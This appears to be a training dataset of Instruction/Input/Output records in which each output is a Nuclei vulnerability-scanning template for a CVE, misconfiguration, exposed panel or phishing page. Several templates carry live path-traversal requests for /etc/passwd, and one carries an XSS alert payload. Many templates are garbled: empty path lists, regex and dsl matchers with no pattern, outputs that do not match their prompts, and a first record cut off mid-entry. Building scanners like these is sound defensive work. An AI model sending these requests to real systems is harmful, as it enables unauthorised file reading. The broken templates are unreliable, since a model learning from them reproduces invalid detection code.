Vulnerability Type: Path Traversal
Severity: high
Affected Products: thefactory com_lovefactory
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1957

info:
  name: Joomla! Component Love Factory 1.3.4 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Love Factory (com_lovefactory) component 1.3.4 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,thefactory,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Encryption for VM Instance Disks - Disabled

Input:
Title: Encryption for VM Instance Disks - Disabled
Summary: Encryption for VM Instance Disks - Disabled. The encryption for VM instance disks in Alibaba Cloud is currently disabled. This means that the data stored on these disks is not automatically encrypted for enhanced security.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: unattached-vminstance-encryption-disabled

info:
  name: Encryption for VM Instance Disks - Disabled
  author: DhiyaneshDK
  severity: high
  description: The encryption for VM instance disks in Alibaba Cloud is currently disabled. This means that the data stored on these disks is not automatically encrypted for enhanced security.
  tags: cloud,devops,aliyun,alibaba,alibaba-cloud-config,ecs

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-4666

Input:
Title: Unknown Vulnerability in 10web form_maker
Summary: The Form Maker by 10Web WordPress plugin before 1.15.20 does not validate signatures when creating them on the server from user input, allowing unauthenticated users to create arbitrary files and lead to RCE
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: 10web form_maker
Indicators: error, vulnerability detected

Output:
id: CVE-2023-4666

info:
  name: Form-Maker < 1.15.20 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: The plugin does not validate signatures when creating them on the server from user input, allowing unauthenticated users to create arbitrary files and lead to RCE.
  tags: wpscan,cve,cve2023,wordpress,wp-plugin,form-maker,passive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/form-maker/readme.txt"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - OneTrust Geolocation

Input:
Title: Content-Security-Policy Bypass - OneTrust Geolocation
Summary: Content-Security-Policy Bypass - OneTrust Geolocation
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: onetrust-geolocation-csp-bypass

info:
  name: Content-Security-Policy Bypass - OneTrust Geolocation
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - OneTrust Geolocation
  tags: xss,csp-bypass,onetrust-geolocation,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "onetrust.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: GraphQL Voyager - Exposed

Input:
Title: GraphQL Voyager - Exposed
Summary: GraphQL Voyager - Exposed. GraphQL Voyager UI exposed (often a dev tool) which visualizes the GraphQL schema in production.

Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: graphql-voyager

info:
  name: GraphQL Voyager - Exposed
  author: Hamza Sahin
  severity: low
  description: GraphQL Voyager UI exposed (often a dev tool) which visualizes the GraphQL schema in production.
  tags: misconfig,graphql,voyager,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/voyager"
      - "{{BaseURL}}/voyager/"
      - "{{BaseURL}}/ui/voyager"
      - "{{BaseURL}}/graphql/voyager"
    matchers:
      - type: word
        words:
          - "GraphQL Voyager"
          - "Voyager helps represent any GraphQL API"
        part: body
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: 3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting

Input:
Title: 3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting
Summary: 3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting. The plugin does not sanitise and escape some user input before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: 3d-print-lite-xss

info:
  name: 3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: The plugin does not sanitise and escape some user input before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues
  tags: 3dprint,lite,authenticated,wpscan,xss,wordpress,wp-plugin,wp,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: robots.txt file

Input:
Title: robots.txt file
Summary: robots.txt file. Tags: miscellaneous, misc, generic
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: robots-txt

info:
  name: robots.txt file
  author: CasperGN,TheZakMan
  severity: info
  description: robots.txt file
  tags: miscellaneous,misc,generic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/robots.txt"
    matchers:
      - type: word
        words:
          - "Allow:"
          - "Disallow:"
          - "Sitemap:"
          - "User-agent:"
      - type: word
        words:
          - "text/plain"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-5556

Input:
Title: Cross-Site Scripting (XSS) in structurizr on-premises_installation
Summary: Cross-site Scripting (XSS) - Reflected in GitHub repository structurizr/onpremises prior to 3194.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: structurizr on-premises_installation
Indicators: error, vulnerability detected

Output:
id: CVE-2023-5556

info:
  name: Structurizr on-premises - Cross Site Scripting
  author: shankaracharya
  severity: medium
  description: Cross-site Scripting (XSS) - Reflected in GitHub repository structurizr/onpremises prior to 3194.
  tags: cve,cve2023,xss,structurizr,oos,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<a href="/dashboard">"
          - "Sign out"
        part: body_3
        condition: and
      - type: word
        words:
          - "");alert(document.domain);//"
          - "Structurizr"
        part: body_5
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: aspnet-version-detect

info:
  name: AspNet Version Disclosure - Detect
  author: lucky0x0d,PulseSecurity.co.nz
  severity: info
  description: Detects version disclosed via 'X-AspNet-Version' header.
  tags: tech,detect,aspnet,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/%3f"
    matchers:
      - type: dsl
      - type: regex
        part: header


Instruction: Generate a Nuclei template for: keepersecurity phishing Detection

Input:
Title: keepersecurity phishing Detection
Summary: keepersecurity phishing Detection. A keepersecurity phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: keepersecurity-phish

info:
  name: keepersecurity phishing Detection
  author: rxerium
  severity: info
  description: A keepersecurity phishing website was detected
  tags: phishing,keepersecurity,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Password and Secrets Management - Keeper Security"
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template for CVE-2023-43261

Input:
Title: Vulnerability (CWE-532) in milesight ur5x_firmware and others
Summary: An information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 allows attackers to access sensitive router components.
Vulnerability Type: Vulnerability (CWE-532)
Severity: high
Affected Products: milesight ur5x_firmware, milesight ur32l_firmware, milesight ur32_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2023-43261

info:
  name: Milesight Routers - Information Disclosure
  author: gy741
  severity: high
  description: A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router's web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router.
  tags: cve2023,cve,router,milesight,disclosure,unauth,iot,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lang/log/httpd.log"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Google OAuth Client Secret (prefixed)

Input:
Title: Google OAuth Client Secret (prefixed)
Summary: Google OAuth Client Secret (prefixed). Tags: file, keys, google
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: google-oauth-clientsecret

info:
  name: Google OAuth Client Secret (prefixed)
  author: DhiyaneshDK
  severity: info
  description: Google OAuth Client Secret (prefixed)
  tags: file,keys,google,token

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2012-4878

Input:
Title: Path Traversal in flatnux flatnux
Summary: Absolute path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: flatnux flatnux
Indicators: error, vulnerability detected

Output:
id: CVE-2012-4878

info:
  name: FlatnuX CMS - Directory Traversal
  author: daffainfo
  severity: medium
  description: A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
  tags: cve,cve2012,lfi,traversal,edb,packetstorm,flatnux,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: GCP Firebase Realtime Database - Cloud Enumeration

Input:
Title: GCP Firebase Realtime Database - Cloud Enumeration
Summary: GCP Firebase Realtime Database - Cloud Enumeration. Searches for Firebase Realtime Databases in GCP.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: gcp-firebase-rtdb-enum

info:
  name: GCP Firebase Realtime Database - Cloud Enumeration
  author: initstring
  severity: info
  description: Searches for Firebase Realtime Databases in GCP.
  tags: enum,cloud,cloud-enum,gcp,discovery

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
      - type: status
        status:
          - 401
      - type: status
        status:
          - 402
      - type: status
        status:
          - 423


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: lancom-router-panel

info:
  name: Lancom Router Login Panel - Detect
  author: __Fazal,daffainfo
  severity: info
  description: Lancom router login panel was detected.
  tags: panel,lancom,router,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "alt="LANCOM Systems GmbH""
          - "class="outside_device_string_common">LANCOM"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-1550

Input:
Title: Code Injection in keras keras
Summary: The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading.
Vulnerability Type: Code Injection
Severity: critical
Affected Products: keras keras
Indicators: error, vulnerability detected

Output:
id: CVE-2025-1550

info:
  name: Keras Model.load_model - Arbitrary Code Execution
  author: nukunga[seunghyeonJeon]
  severity: critical
  description: The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
  tags: cve,cve2025,code,keras,rce,ml

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-17463

Input:
Title: SQL Injection in thedaylightstudio fuel_cms
Summary: FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: thedaylightstudio fuel_cms
Indicators: error, vulnerability detected

Output:
id: CVE-2020-17463

info:
  name: Fuel CMS 1.4.7 - SQL Injection
  author: Thirukrishnan
  severity: critical
  description: FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.
  tags: time-based-sqli,cve,cve2020,packetstorm,sqli,fuel-cms,kev,thedaylightstudio,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: amazon-mws-auth-token-value

info:
  name: Amazon MWS Authentication Token - Detect
  author: gaurang
  severity: medium
  description: Amazon MWS authentication token was detected.
  tags: file,keys,token,amazon,auth,mws

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: unauth-lfd-zhttpd

info:
  name: zhttpd - Local File Inclusion
  author: EvergreenCartoons
  severity: high
  description: zhttpd is vulnerable to unauthenticated local inclusion including privileged files such as /etc/shadow. An attacker can read all files on the system by using this endpoint.
  tags: misconfig,unauth,zyxel,lfi,msf,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "application/octet-stream"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: iclock-admin-panel

info:
  name: iClock Automatic Data Master Server Admin Panel - Detect
  author: deFr0ggy
  severity: info
  description: An iClock Automatic Data Master Server Admin login panel was detected.
  tags: panel,iclock,login,admin,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/iclock/accounts/login/"
      - "{{BaseURL}}/iclock/accounts/login/?next=/iclock/data/iclock/"
    matchers:
      - type: word
        words:
          - ""site-name">iClock Automatic Data Master Server"
          - "<title> | Django site admin</title>"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2015-4666

Input:
Title: Path Traversal in xceedium xsuite
Summary: Directory traversal vulnerability in opm/read_sessionlog.php in Xceedium Xsuite 2.4.4.5 and earlier allows remote attackers to read arbitrary files via a ....// (quadruple dot double slash) in the logFile parameter.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: xceedium xsuite
Indicators: error, vulnerability detected

Output:
id: CVE-2015-4666

info:
  name: Xceedium Xsuite <=2.4.4.5 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Xceedium Xsuite 2.4.4.5 and earlier is vulnerable to local file inclusion via opm/read_sessionlog.php that allows remote attackers to read arbitrary files in the logFile parameter.
  tags: cve2015,cve,xceedium,xsuite,lfi,packetstorm,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd"
    matchers:
      - type: regex
      - type: status
        status:
          - 200